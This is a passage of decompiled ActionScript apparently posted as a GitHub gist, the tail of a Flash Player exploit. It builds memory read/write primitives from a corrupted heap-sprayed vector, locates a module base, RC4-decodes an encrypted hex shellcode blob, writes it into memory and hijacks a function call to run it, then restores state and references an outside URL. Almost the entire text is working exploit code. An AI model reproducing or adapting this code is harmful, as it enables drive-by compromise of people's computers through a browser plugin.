05747e7364516cd055c1e36ae95430eb7cdc0093b8e16ff5c695abb8e46f3614d84e9d5ab220342bcdc4a8458af5ca93b5a30658c747d638a36737bda39c20dd8145784c5633e881c8175c8d2b0b5f6256b9fb3711a9c1ad5f23171c2f3db0e3337f26754753005385b3d6b18"; | |
_loc45_ = this.decode(_loc44_,this.m_scKey); | |
this.writeBytes(_loc43_ + 4 * _loc39_,_loc45_); | |
_loc46_ = _loc43_ + 4 * _loc39_ + _loc45_.length; | |
_loc47_ = this.readUnsignedInt(this.heapSprayObjAddr); | |
this.writeUnsignedInt(this.heapSprayObjAddr,_loc46_); | |
this.jpgBytes.endian = Endian.LITTLE_ENDIAN; | |
this.jpgBytes.position = 0; | |
ByteArray(this.jpgLoader.data).position = 0; | |
ByteArray(this.jpgLoader.data).readBytes(this.jpgBytes,0,0); | |
this.jpgBytes.endian = Endian.LITTLE_ENDIAN; | |
this.jpgBytes.position = 0; | |
this.writeBytes(_loc46_,this.jpgBytes); | |
_loc48_ = this.readUnsignedInt(_loc6_ + 8) & 4.294967292E9; | |
_loc49_ = this.readUnsignedInt(_loc48_ + 72); | |
this.writeUnsignedInt(_loc49_ + 4,_loc27_); | |
this.outObj.therundata(_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc24_,_loc33_,_loc19_,_loc34_,65536,4096,64,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc32_,_loc19_ + 6,_loc19_ + 6,_loc30_,_loc19_ + 6,_loc25_,_loc25_); | |
_loc36_.position = 0; | |
_loc5_ = 0; | |
while(_loc5_ < _loc36_.length / 4) | |
{ | |
this.writeUnsignedInt(_loc33_ + 4 * _loc5_++,_loc36_.readUnsignedInt()); | |
} | |
_loc35_.position = 0; | |
_loc5_ = 0; | |
while(_loc5_ < _loc35_.length / 4) | |
{ | |
this.writeUnsignedInt(_loc34_ + 4 * _loc5_++,_loc35_.readUnsignedInt()); | |
} | |
this.writeUnsignedInt(this.heapSprayObjAddr,_loc47_); | |
this.setSharobject(); | |
this.safe_exit(); | |
this.empty("http://was.jiscs.com/logo/logoshow.gif"); | |
return; | |
} | |
} | |
public function safe_exit() : void | |
{ | |
this.writeUnsignedInt(this.controlledAddr - 8,this.vtObj20WLen); | |
} | |
public function logMsg(param1:String) : void | |
{ | |
if(ExternalInterface.available) | |
{ | |
} | |
} | |
public function alertMsg(param1:String) : void | |
{ | |
} | |
public function exception_exit() : void | |
{ | |
if((this.vtObj20W[this.changedPropertyObjIndex] as Vector.<uint>).length >= 1073741823) | |
{ | |
this.vtObj20W[this.changedPropertyObjIndex][1073741824 - 2] = this.vtObj20WLen; | |
} | |
} | |
private function read4bytes(param1:uint) : uint | |
{ | |
var _loc2_:uint = 0; | |
if(param1 > this.controlledAddr) | |
{ | |
_loc2_ = this.vtObj20W[this.changedPropertyObjIndex][(param1 - this.controlledAddr) / 4]; | |
} | |
else | |
{ | |
_loc2_ = this.vtObj20W[this.changedPropertyObjIndex][1073741824 - (this.controlledAddr - param1) / 4]; | |
} | |
return _loc2_; | |
} | |
private function readUnsignedInt(param1:uint) : uint | |
{ | |
return this.read32(param1); | |
} | |
private function read32(param1:uint) : uint | |
{ | |
var _loc2_:uint = 0; | |
var _loc3_:uint = 0; | |
var _loc4_:uint = 0; | |
if(param1 % 4 == 0) | |
{ | |
_loc4_ = this.read4bytes(param1); | |
} | |
else if(param1 % 4 == 1) | |
{ | |
_loc3_ = (this.read4bytes(param1 - 1) & 4.29496704E9) / 256 & 16777215; | |
_loc2_ = (this.read4bytes(param1 + 3) & 255) * 16777216 & 4.27819008E9; | |
_loc4_ = _loc2_ + _loc3_; | |
} | |
else if(param1 % 4 == 2) | |
{ | |
_loc3_ = (this.read4bytes(param1 - 2) & 4.29490176E9) / 65536 & 65535; | |
_loc2_ = (this.read4bytes(param1 + 2) & 65535) * 65536 & 4.29490176E9; | |
_loc4_ = _loc2_ + _loc3_; | |
} | |
else | |
{ | |
_loc3_ = (this.read4bytes(param1 - 3) & 4.27819008E9) / 16777216 & 255; | |
_loc2_ = (this.read4bytes(param1 + 1) & 16777215) * 256 & 4.29496704E9; | |
_loc4_ = _loc2_ + _loc3_; | |
} | |
return _loc4_; | |
} | |
private function writeUnsignedInt(param1:uint, param2:uint) : void | |
{ | |
if(param1 > this.controlledAddr) | |
{ | |
this.vtObj20W[this.changedPropertyObjIndex][(param1 - this.controlledAddr) / 4] = param2; | |
} | |
else | |
{ | |
this.vtObj20W[this.changedPropertyObjIndex][1073741824 - (this.controlledAddr - param1) / 4] = param2; | |
} | |
} | |
private function read8(param1:uint) : uint | |
{ | |
var _loc2_:uint = this.read32(param1 & 4.294967292E9); | |
switch(param1 % 4) | |
{ | |
case 0: | |
return _loc2_ & 255; | |
case 1: | |
return _loc2_ >> 8 & 255; | |
case 2: | |
return _loc2_ >> 16 & 255; | |
case 3: | |
return _loc2_ >> 24 & 255; | |
default: | |
return 0; | |
} | |
} | |
private function read16(param1:uint) : uint | |
{ | |
if(param1 % 2) | |
{ | |
return 0; | |
} | |
var _loc2_:uint = this.read32(param1 & 4.294967292E9); | |
switch(param1 % 4) | |
{ | |
case 0: | |
return _loc2_ & 65535; | |
case 1: | |
return _loc2_ >> 8 & 65535; | |
case 2: | |
return _loc2_ >> 16 & 65535; | |
case 3: | |
break; | |
} | |
return 0; | |
} | |
private function write8(param1:uint, param2:uint) : void | |
{ | |
var _loc4_:uint = 0; | |
var _loc3_:uint = this.read32(param1 & 4.294967292E9); | |
switch(param1 % 4) | |
{ | |
case 0: | |
_loc4_ = _loc3_ & 4.29496704E9 | param2 & 255; | |
break; | |
case 1: | |
_loc4_ = _loc3_ & 4.294902015E9 | (param2 & 255) << 8; | |
break; | |
case 2: | |
_loc4_ = _loc3_ & 4.278255615E9 | (param2 & 255) << 16; | |
break; | |
case 3: | |
_loc4_ = _loc3_ & 16777215 | (param2 & 255) << 24; | |
break; | |
} | |
this.writeUnsignedInt(param1 & 4.294967292E9,_loc4_); | |
} | |
private function writeBytes(param1:uint, param2:ByteArray) : uint | |
{ | |
var _loc4_:uint = 0; | |
var _loc3_:* = 0; | |
_loc3_ = 0; | |
while(_loc3_ + 3 < param2.length) | |
{ | |
_loc4_ = param2[_loc3_] & 255 | (param2[_loc3_ + 1] & 255) << 8 | (param2[_loc3_ + 2] & 255) << 16 | (param2[_loc3_ + 3] & 255) << 24; | |
this.writeUnsignedInt(param1 + _loc3_,_loc4_); | |
_loc3_ = _loc3_ + 4; | |
} | |
this.writeUnsignedInt(param1 + _loc3_,2.425393296E9); | |
while(_loc3_ < param2.length) | |
{ | |
this.write8(param1 + _loc3_,param2[_loc3_]); | |
_loc3_++; | |
} | |
return param1 + param2.length; | |
} | |
private function searchBytes(param1:ByteArray, param2:uint, param3:uint) : uint | |
{ | |
var _loc5_:* = 0; | |
if(param2 >= param3 || param2 + param1.length > param3) | |
{ | |
return 0; | |
} | |
var _loc4_:uint = param2; | |
while(true) | |
{ | |
if(_loc4_ >= param3) | |
{ | |
return 0; | |
} | |
_loc5_ = 0; | |
while(_loc5_ < param1.length) | |
{ | |
if(this.read8(_loc4_ + _loc5_) != param1[_loc5_]) | |
{ | |
break; | |
} | |
_loc5_++; | |
} | |
if(_loc5_ == param1.length) | |
{ | |
break; | |
} | |
_loc4_++; | |
} | |
return _loc4_; | |
} | |
private function asciiStrEqual(param1:uint, param2:String) : Boolean | |
{ | |
var _loc3_:ByteArray = new ByteArray(); | |
_loc3_.endian = Endian.LITTLE_ENDIAN; | |
_loc3_.writeUTFBytes(param2); | |
var _loc4_:* = 0; | |
while(_loc4_ < _loc3_.length) | |
{ | |
if(this.read8(param1 + _loc4_) != _loc3_[_loc4_]) | |
{ | |
return false; | |
} | |
_loc4_++; | |
} | |
return true; | |
} | |
private function getModuleBase(param1:uint) : uint | |
{ | |
var _loc2_:* = param1 & 4.29490176E9; | |
while(_loc2_ > 0) | |
{ | |
if((this.read32(_loc2_) & 65535) == 23117) | |
{ | |
return _loc2_; | |
} | |
_loc2_ = _loc2_ - 65536; | |
} | |
return 0; | |
} | |
private function binToIntArray(param1:ByteArray) : Vector.<int> | |
{ | |
var _loc2_:* = param1.length; | |
var _loc3_:Vector.<int> = new Vector.<int>(_loc2_); | |
var _loc4_:* = 0; | |
param1.position = 0; | |
while(_loc4_ < _loc2_) | |
{ | |
_loc3_[_loc4_] = param1.readByte(); | |
_loc4_++; | |
} | |
return _loc3_; | |
} | |
private function hexToIntArray(param1:String) : Vector.<int> | |
{ | |
var _loc2_:* = null; | |
var _loc3_:* = param1.length; | |
var _loc4_:* = 0; | |
var _loc5_:Vector.<int> = new Vector.<int>(_loc3_ / 2); | |
var _loc6_:* = 0; | |
while(_loc4_ < _loc3_) | |
{ | |
_loc2_ = param1.charAt(_loc4_) + param1.charAt(_loc4_ + 1); | |
_loc5_[_loc6_] = parseInt(_loc2_,16); | |
_loc4_ = _loc4_ + 2; | |
_loc6_ = _loc6_ + 1; | |
} | |
return _loc5_; | |
} | |
private function decode(param1:String, param2:String) : ByteArray | |
{ | |
var _loc7_:* = 0; | |
var _loc9_:* = 0; | |
var _loc10_:* = undefined; | |
var _loc14_:* = 0; | |
var _loc3_:Vector.<int> = new Vector.<int>(256); | |
var _loc4_:Vector.<int> = new Vector.<int>(256); | |
var _loc5_:Vector.<int> = this.hexToIntArray(param2); | |
var _loc6_:int = _loc5_.length; | |
_loc7_ = 0; | |
while(_loc7_ < 256) | |
{ | |
_loc3_[_loc7_] = _loc7_; | |
_loc4_[_loc7_] = _loc5_[_loc7_ % _loc6_]; | |
_loc7_++; | |
} | |
var _loc8_:* = 0; | |
_loc10_ = 0; | |
while(_loc10_ < 256) | |
{ | |
_loc8_ = _loc8_ + _loc3_[_loc10_] + _loc4_[_loc10_] & 255; | |
_loc9_ = _loc3_[_loc10_]; | |
_loc3_[_loc10_] = _loc3_[_loc8_]; | |
_loc3_[_loc8_] = _loc9_; | |
_loc10_++; | |
} | |
var _loc11_:ByteArray = new ByteArray(); | |
_loc11_.endian = Endian.LITTLE_ENDIAN; | |
var _loc12_:Vector.<int> = this.hexToIntArray(param1); | |
_loc7_ = 0; | |
var _loc13_:* = 0; | |
_loc10_ = 0; | |
while(_loc10_ < _loc12_.length) | |
{ | |
_loc7_ = _loc7_ + 1 & 255; | |
_loc13_ = _loc13_ + _loc3_[_loc7_] & 255; | |
_loc9_ = _loc3_[_loc7_]; | |
_loc3_[_loc7_] = _loc3_[_loc13_]; | |
_loc3_[_loc13_] = _loc9_; | |
_loc14_ = _loc3_[_loc7_] + _loc3_[_loc13_] & 255; | |
_loc9_ = _loc3_[_loc14_]; | |
_loc11_.writeByte(_loc12_[_loc10_] ^ _loc9_); | |
_loc10_++; | |
} | |
return _loc11_; | |
} | |
private function decode2(param1:Vector.<int>, param2:Vector.<int>) : ByteArray | |
{ | |
var _loc6_:* = 0; | |
var _loc8_:* = 0; | |
var _loc9_:* = undefined; | |
var _loc12_:* = 0; | |
var _loc3_:Vector.<int> = new Vector.<int>(256); | |
var _loc4_:Vector.<int> = new Vector.<int>(256); | |
var _loc5_:int = param2.length; | |
_loc6_ = 0; | |
while(_loc6_ < 256) | |
{ | |
_loc3_[_loc6_] = _loc6_; | |
_loc4_[_loc6_] = param2[_loc6_ % _loc5_]; | |
_loc6_++; | |
} | |
var _loc7_:* = 0; | |
_loc9_ = 0; | |
while(_loc9_ < 256) | |
{ | |
_loc7_ = _loc7_ + _loc3_[_loc9_] + _loc4_[_loc9_] & 255; | |
_loc8_ = _loc3_[_loc9_]; | |
_loc3_[_loc9_] = _loc3_[_loc7_]; | |
_loc3_[_loc7_] = _loc8_; | |
_loc9_++; | |
} | |
var _loc10_:ByteArray = new ByteArray(); | |
_loc10_.endian = Endian.LITTLE_ENDIAN; | |
_loc6_ = 0; | |
var _loc11_:* = 0; | |
_loc9_ = 0; | |
while(_loc9_ < param1.length) | |
{ | |
_loc6_ = _loc6_ + 1 & 255; | |
_loc11_ = _loc11_ + _loc3_[_loc6_] & 255; | |
_loc8_ = _loc3_[_loc6_]; | |
_loc3_[_loc6_] = _loc3_[_loc11_]; | |
_loc3_[_loc11_] = _loc8_; | |
_loc12_ = _loc3_[_loc6_] + _loc3_[_loc11_] & 255; | |
_loc8_ = _loc3_[_loc12_]; | |
_loc10_.writeByte(param1[_loc9_] ^ _loc8_); | |
_loc9_++; | |
} | |
return _loc10_; | |
} | |
private function hexToBin(param1:String) : ByteArray | |
{ | |
var _loc2_:* = null; | |
var _loc3_:* = new ByteArray(); | |
var _loc4_:* = param1.length; | |
var _loc5_:* = 0; | |
_loc3_.endian = Endian.LITTLE_ENDIAN; | |
while(_loc5_ < _loc4_) | |
{ | |
_loc2_ = param1.charAt(_loc5_) + param1.charAt(_loc5_ + 1); | |
_loc3_.writeByte(parseInt(_loc2_,16)); | |
_loc5_ = _loc5_ + 2; | |
} | |
return _loc3_; | |
} | |
private function checkProperty() : Boolean | |
{ | |
var _loc1_:* = 0; | |
while(_loc1_ < this.heapSprayLenByEnv20W) | |
{ | |
if(this.vtObj20W[_loc1_]) | |
{ | |
if(this.vtObj20W[_loc1_].length == 1073741823) | |
{ | |
break; | |
} | |
} | |
_loc1_++; | |
} | |
if(_loc1_ == this.heapSprayLenByEnv20W) | |
{ | |
return false; | |
} | |
this.changedPropertyObjIndex = _loc1_; | |
return true; | |
} | |
public function fun(param1:uint, param2:uint, param3:uint, param4:uint, param5:uint, param6:uint, param7:uint, param8:uint, param9:uint, param10:uint, param11:uint, param12:uint, param13:uint, param14:int, param15:uint, param16:uint, param17:uint, param18:uint, param19:uint, param20:uint, param21:uint, param22:uint, param23:uint, param24:uint, param25:uint, param26:uint, param27:uint, param28:uint, param29:uint, param30:uint, param31:uint, param32:uint, param33:uint, param34:uint, param35:uint, param36:uint, param37:uint, param38:uint, param39:uint, param40:uint) : uint | |
{ | |
var _loc41_:uint = 0; | |
return _loc41_; | |
} | |
} | |
} | |
class OutClass extends Object | |
{ | |
function OutClass() | |
{ | |
super(); | |
} | |
public function therundata(param1:uint, param2:uint, param3:uint, param4:uint, param5:uint, param6:uint, param7:uint, param8:uint, param9:uint, param10:uint, param11:uint, param12:uint, param13:uint, param14:int, param15:uint, param16:uint, param17:uint, param18:uint, param19:uint, param20:uint, param21:uint, param22:uint, param23:uint, param24:uint, param25:uint, param26:uint, param27:uint, param28:uint, param29:uint, param30:uint, param31:uint, param32:uint, param33:uint, param34:uint, param35:uint, param36:uint, param37:uint, param38:uint, param39:uint, param40:uint, param41:uint, param42:uint, param43:uint, param44:uint, param45:uint, param46:uint, param47:uint, param48:uint, param49:uint, param50:uint, param51:uint, param52:uint, param53:uint, param54:uint, param55:uint, param56:uint, param57:uint, param58:uint, param59:uint, param60:uint, param61:uint, param62:uint, param63:uint, param64:uint, param65:uint, param66:uint, param67:uint, param68:uint, param69:uint, param70:uint, param71:uint, param72:uint, param73:uint, param74:uint, param75:uint, param76:uint, param77:uint, param78:uint, param79:uint, param80:uint) : uint | |
{ | |
var _loc81_:uint = 0; | |
return _loc81_; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment